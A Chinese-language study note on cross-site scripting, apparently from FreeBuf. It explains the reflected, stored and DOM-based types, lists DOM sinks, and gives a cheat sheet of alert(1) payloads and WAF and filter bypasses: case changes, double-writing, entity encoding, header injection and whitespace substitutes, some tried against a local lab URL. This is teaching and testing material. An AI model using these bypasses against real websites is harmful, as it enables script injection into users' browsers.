区别
反射型XSS是在用户请求中即时反射恶意脚本;
存储型XSS是恶意脚本被存储在服务器上,随后在用户请求时被发送到浏览器执行;
DOM型XSS则是通过客户端脚本直接修改DOM,引入恶意代码。
DOM 型 XSS
DOM 型 XSS其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的一种漏洞。
基于这个特性,就可以利用 JS 脚本 来实现 XSS 漏洞的利用。
以下是一些经常出现 dom xss 的关键语句
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性
DOM 型 xss 程序中,只有 html 代码,dom 通过操作 HTML 或者 css 实现 HTML 属性、方法、事件,因此程序 中没有与服务器进行交互。实际上就是利用标签的属性等等
' onclick='alert(1)'
标签绕过
1、有<>
下面都是无危害探测标签,基本不会出发任何WAF
<s>123 <h1>123</h1> <p>123</p> </tExtArEa><h1>123</h1># </tExtArEa><s>123#//--+ '"></tExtArEa><s>123#//--+ <script>alert(1);</script>
<img src=1 onerror=alert(1)>
<iframe src="javascript:alert(1)"></iframe>
<a href="javascript:alert(1)">
2、无<>
onclick='alert(1)'
payload=hello' onmouseover='javascript:alert(1)'
javascript:alert(1)
onmousemove='alert(1)'
是一个 HTML 事件属性,表示当鼠标指针移动到指定 HTML 元素上时,会触发该事件。
大小写
<Script>alert(1);</Script>
双写
" oonnclick="alert(1)"
">alert(1)
必须带http://
使用//把http://注释掉
HTML实体编码绕过
javascript:alert(1);
html编码后:javascript:alert(1);
url参数、referer参数、ua参数、cookie参数
referer头也成了输出参数,我们从这个下手,打开postman 或者 burpsuite,将payload写到referer里
" type="text" onmousemove="alert(1)
ua
cookie:user
文件包含
src参数包含第一关文件,name参数
http://127.0.0.1/xss/level15.php?src=%27level1.php?name=%3Ca%20href=%22javascript:alert(1)%22%3E%27
空格绕过
空格的url编码为:%20
可替换成如下:
:::info
%09 水平制表符(Tab 字符)
%0a(换行)
%0b 垂直制表符
%0c 换页符
%0d 回车符
%a0 不间断空格
/
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)